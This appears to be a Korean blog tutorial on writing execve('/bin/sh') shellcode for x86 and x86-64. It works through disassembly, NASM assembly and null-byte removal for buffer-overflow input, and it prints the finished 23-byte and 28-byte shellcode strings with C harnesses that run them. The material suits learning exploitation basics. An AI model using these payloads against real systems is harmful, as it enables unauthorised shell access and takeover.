Hacking/Pwnable

셸코드 (Shellcode)

GunP4ng 2024. 4. 29. 14:52

셸코드 (Shellcode)


1. 셸코드

1. Shell ?

셸(Shell)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스이다.

운영체제의 핵심 기능을 하는 프로그램인 커널(Kernel)과 대비된다.

 

셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.

 

이러한 셸을 얻을 수 있는 코드를 셸코드라고 한다.

 

2. Shellcode 란?

해킹 분야에서 상대 시스템을 공격하는 것을 익스플로잇(Exploit)이라 한다.

 Shellcode 는 익스플로잇을 위해 제작된 어셈블리 코드 조각이다.

일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용해서 "셸"이 접두사로 붙었다.

 

execve 셸코드는 임의의 프로그램을 실행하는 셸코드이다.

이를 이용하면 서버의 셸을 획득할 수 있다. 

다른 언급 없이 셸코드라고 하면 execve 셸코드를 의미하는 경우가 많다.

 

3. 시스템 콜 (System call)

OS는 다양한 서비스들을 수행하기 위해 하드웨어를 직접적으로 관리한다.

하지만 응용 프로그램은 OS가 제공하는 인터페이스를 통해서만 자원을 사용할 수 있다.

 

OS 가 제공하는 이러한 인터페이스를 시스템 콜 (System call)이라 한다.

 

시스템 콜은 커널 영역의 기능을 사용자가 사용할 수 있도록 해준다.

즉, 프로세스가 하드웨어에 직접 접근해서 필요한 기능을 할 수 있게 해준다.

 

리눅스의 시스템 콜 테이블은 아래 사이트에서 확인할 수 있다

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

 

 

2. Execve Shellcode (x86)

1.  Execve 시스템 콜 (x86)

execve("/bin/sh", 0, 0)

execve 셸코드는 execve 시스템 콜만으로 구성된다.

execve 시스템 콜 (x86)

syscall table 을 보면 32bit 에서 execve 는 syscall number 가 0x0b 인 것을 알 수 있다.

execve(ebx, ecx, edx)

execve("/bin/sh", 0, 0)

32bit 에서는 ebx, ecx, edx 에 각각 첫 번째, 두 번째, 세 번째, 인자가 들어간다.

각 레지스터에 값을 넣은 뒤 인터럽트(int 0x80) 를 발생시키면 원하는 동작을 수행할 수 있다.

 

2. execve C 코드 분석

execve 시스템 콜을 하는 C코드이다.

// name : x86_shellcode.c
// compile : gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -static -o x86_shellcode x86_shellcode.c

#include <unistd.h>

void main(){
    char *shell[2];

    shell[0] = "/bin/sh";
    shell[1] = "NULL";

    execve(shell[0], shell, 0);
}

 

execve 함수의 어셈블리를 확인해보자.

pwndbg> disass execve
Dump of assembler code for function execve:
   0x0806dea0 <+0>:     endbr32 
   0x0806dea4 <+4>:     push   ebx
   0x0806dea5 <+5>:     mov    edx,DWORD PTR [esp+0x10]
   0x0806dea9 <+9>:     mov    ecx,DWORD PTR [esp+0xc]
   0x0806dead <+13>:    mov    ebx,DWORD PTR [esp+0x8]
   0x0806deb1 <+17>:    mov    eax,0xb
   0x0806deb6 <+22>:    call   DWORD PTR gs:0x10
   0x0806debd <+29>:    pop    ebx
   0x0806debe <+30>:    cmp    eax,0xfffff001
   0x0806dec3 <+35>:    jae    0x80734d0 <__syscall_error>
   0x0806dec9 <+41>:    ret    
End of assembler dump.

 

0x0806deb1 <+17>:    mov    eax,0xb

execve 의 system call number 0xb 를 eax 에 옮긴다

 

0x0806deb6 <+22>:    call   DWORD PTR gs:0x10

system call 이 수행되는 부분에 break 를 걸고 실행해보자

 

pwndbg> x/s $ebx
0x80b4008:      "/bin/sh"

ebx 에 "/bin/sh"이 들어간 것을 확인할 수 있다

 

pwndbg> x/4wx $ebx
0x80b4008:      0x6e69622f      0x0068732f      0x4c4c554e      0x2f2e2e00
				; /bin			  /sh

좀 더 자세히 출력해보면 0x6e69622f 는 /bin

0x0068732f 는 /sh 인 것을 알 수 있다.

 

3. 어셈블리 작성

section .text
	global _start

_start:
	xor eax, eax        ; eax 초기화
    push eax			; NULL 문자 추가
    push 0x0068732f     ; /sh
    push 0x6e69622f     ; /bin
    mov ebx, esp        ; ebx = /bin/sh
    xor ecx, ecx        ; ecx 초기화
    xor edx, edx        ; edx 초기화
    mov eax, 0xb        ; execve
    int 0x80            ; execve("/bin/sh", 0, 0)

완성된 어셈블리 언어 소스코드이다.

 

$ nasm -f elf x86_shellcode.s
$ ld -m elf_i386 -s -o x86_shellcode x86_shellcode.o

위의 명령어를 이용해서 어셈블리를 오브젝트 파일로 만들고, 

오브젝트 파일을 실행 가능한 elf 파일로 만든다.

 

$ ./x86_shellcode
$ id
uid=1000(codespace) gid=1000(codespace) groups=1000(codespace),106(ssh),107(docker)

파일을 실행해보면 정상적으로 셸을 획득한 것을 확인할 수 있다.

 

이제 elf 파일에서 어셈블리 언어의 기계어 코드를 가져와야 한다.

objdump -d x86_shellcode -M intel

objdump 명령어를 이용해서 opcode(기계어 코드)를 가져올 수 있다

 

$ objdump -d x86_shellcode -M intel

x86_shellcode:     file format elf32-i386


Disassembly of section .text:

08049000 <.text>:
 8049000:       31 c0                   xor    eax,eax
 8049002:       50                      push   eax
 8049003:       68 2f 73 68 00          push   0x68732f
 8049008:       68 2f 62 69 6e          push   0x6e69622f
 804900d:       89 e3                   mov    ebx,esp
 804900f:       31 c9                   xor    ecx,ecx
 8049011:       31 d2                   xor    edx,edx
 8049013:       b8 0b 00 00 00          mov    eax,0xb
 8049018:       cd 80                   int    0x80

코드를 확인하면 NULL (/x00) 값이 들어가 있는 것을 확인할 수 있다.

 

scanf 함수 같은 경우는 NULL 이나 \n 같은 문자들까지 입력을 받기 때문에

Shellcode 에 NULL 이나 \n 같은 문자들이 포함된 경우 BOF 공격을 할 때 입력이 끊길 수 있다.

 

따라서 어셈블리 코드를 수정해줘야 한다.

section .text
	global _start

_start:
	xor eax, eax        ; eax 초기화
    push eax			; NULL 문자 추가
    push 0x68732f2f     ; //sh
    push 0x6e69622f     ; /bin
    mov ebx, esp        ; ebx = /bin/sh
    xor ecx, ecx        ; ecx 초기화
    xor edx, edx        ; edx 초기화
    mov al, 0xb         ; execve
    int 0x80            ; execve("/bin//sh", 0, 0)

/sh 에서 생기는 NULL 값을 없애기 위해 2f(/) 를 추가하여 //sh 로 만든다

eax 레지스터보다 작은 al 레지스터를 사용하여 NULL 값을 없애준다

 

다시 objdump 를 이용하여 opcode 를 확인해보자

objdump -d x86_shellcode -M intel

x86_shellcode:     file format elf32-i386


Disassembly of section .text:

08049000 <.text>:
 8049000:       31 c0                   xor    eax,eax
 8049002:       50                      push   eax
 8049003:       68 2f 2f 73 68          push   0x68732f2f
 8049008:       68 2f 62 69 6e          push   0x6e69622f
 804900d:       89 e3                   mov    ebx,esp
 804900f:       31 c9                   xor    ecx,ecx
 8049011:       31 d2                   xor    edx,edx
 8049013:       b0 0b                   mov    al,0xb
 8049015:       cd 80                   int    0x80

NULL값이 없어진 것을 확인할 수 있다.

 

4. Execve Shellcode (x86)

위에서 출력된 opcode를 조합하면

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

23Byte 의  Shellcode 를 만들 수 있다.

 

 

3. Execve Shellcode (x86-64)

1. Execve 시스템 콜 (x86-64)

execve 시스템 콜 (x86-64)

x86-64 아키텍처에서 execve 시스템콜 번호는 0x3b 이다

execve(rdi, rsi, rdx)

execve("/bin/sh", 0, 0)

64bit 에서는 rdi, rsi, rdx 에 각각 첫 번째, 두 번째, 세 번째 인자가 들어간다.

각 레지스터에 값을 넣은 뒤 syscall 을 하면 원하는 동작을 수행할 수 있다

 

2. 어셈블리 작성

section .text
    global _start

_start:
	xor rax, rax                    ; rax 초기화
    push rax						; NULL 문자 추가
    mov rdi, 0x68732f2f6e69622f     ; /bin//sh  
    push rdi
    mov rdi, rsp                    ; rdi = /bin/sh
    xor rsi, rsi                    ; rsi 초기화
    xor rdx, rdx                    ; rdx 초기화
    mov al, 0x3b                    ; execve syscall number
    syscall

32bit 시스템과 비슷하지만 조금 다른 점이 있다

64bit 시스템에서는 문자열을 스택에 push 하려면 문자열을 레지스터로 옮긴 후 레지스터를 push 해줘야 한다.

 

32bit 시스템은 int 0x80 을 통해 인터럽트를 발생시켜 시스템 콜을 했지만 

64bit 시스템은 syscall 명령을 통해 시스템 콜을 한다.

 

nasm -f elf64 -o x64_shellcode.o x64_shellcode.s
ld -o x64_shellcode x64_shellcode.o

위의 명령어를 이용해서 어셈블리 파일을 elf 파일로 변환한다.

 

objdump 를 이용하여 opcode를 확인해보자

$ objdump -d x64_shellcode -M intel

x64_shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 c0                xor    rax,rax
  401003:       50                      push   rax
  401004:       48 bf 2f 62 69 6e 2f    movabs rdi,0x68732f2f6e69622f
  40100b:       2f 73 68 
  40100e:       57                      push   rdi
  40100f:       48 89 e7                mov    rdi,rsp
  401012:       48 31 f6                xor    rsi,rsi
  401015:       48 31 d2                xor    rdx,rdx
  401018:       b0 3b                   mov    al,0x3b
  40101a:       0f 05                   syscall

 

3. Execve Shellcode (x86-64)

위에서 출력된 opcode를 조합하면

\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05

28 Byte 의 shellcode 를 만들 수 있다

 

 

4. Shellcode Test

1. x86 shellcode

Shellcode 가 메모리에 올라갔을 때 실행이 잘 되는지 테스트를 해보자.

Shellcode 를 메모리에 올리고 Shellcode 가 올라간 메모리 주소를 함수 포인터로 호출하는 C언어 소스코드를 만든다

// Name : shell.c
// Compile : gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -static -o 32_test shell.c

#include <stdio.h>

int main(void)
{
	char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";

	(*(void (*)()) shellcode)();

	return 0;
}

 

$ ./x86_shellcode
$ id
uid=1000(codespace) gid=1000(codespace) groups=1000(codespace),106(ssh),107(docker)

컴파일 후 파일을 실행하면 Shellcode 가 잘 실행되는 것을 확인할 수 있다

 

2. x86-64 shellcode

// Name : shell.c
// Compile : gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack -no-pie -static -o 64_test shell.c

#include <stdio.h>

int main(void)
{
	char shellcode[] = "\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05";

	(*(void (*)()) shellcode)();

	return 0;
}

 

$ ./64_test
$ id
uid=1000(codespace) gid=1000(codespace) groups=1000(codespace),106(ssh),107(docker)

마찬가지로 컴파일 후 파일을 실행하면 Shellcode 가 잘 실행되는 것을 확인할 수 있다

 

 

5. Shellcode (x86, x86-64) 정리

1. x86

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

23Byte

 

2. x86-64

\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05

28Byte

 

 


Reference

https://learn.dreamhack.io/50

https://blog.sechack.kr/60

https://velog.io/@nansu0425/execve-shellcode-%EC%A0%9C%EC%9E%91-%EB%B0%8F-%EC%9E%85%EB%A0%A5